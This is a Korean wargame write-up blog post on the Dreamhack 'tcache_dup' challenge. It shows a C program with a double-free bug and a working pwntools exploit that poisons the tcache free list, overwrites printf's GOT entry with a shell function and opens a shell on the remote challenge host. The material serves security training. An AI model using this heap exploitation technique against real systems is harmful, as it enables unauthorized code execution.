보안/Wargame

[System Hacking] tcache_dup

kykyky 2025. 3. 7. 15:04

# 소스코드 분석 & 보호기법 확인

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

free 시 포인터를 초기화하지 않음 -> 포인터는 여전히 유효함

 

# Exploit

#!/usr/bin/env python3
from pwn import *

p = remote('host3.dreamhack.games', 9559)
vulprogram_elf = ELF('./tcache_dup')
libc_elf = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def Create(size, data):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

def Delete(idx):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'idx: ', str(idx).encode())

###

Create(0x40, b'A'*8)
Create(0x40, b'B'*8)
Create(0x40, b'C'*8)

Delete(1)
# => free list: chunkA
Delete(1)
# => free list: chunkA -> chunkA

printf_GOT = vulprogram_elf.got['printf']
Create(0x40, p64(printf_GOT))
# => free list: chunkA -> printf
Create(0x40, b'D'*8)
# => free list: printf
get_shell = vulprogram_elf.symbols['get_shell']
Create(0x40, p64(get_shell))

###

p.interactive()

'보안 > Wargame' 카테고리의 다른 글

[System Hacking] sint  (0) 2025.03.13
[System Hacking] tcache_dup2  (0) 2025.03.10
[System Hacking] Tcache Poisoning  (0) 2025.02.13
[System Hacking] uaf_overwrite  (0) 2025.02.02
[System Hacking] Format String Bug  (0) 2025.01.28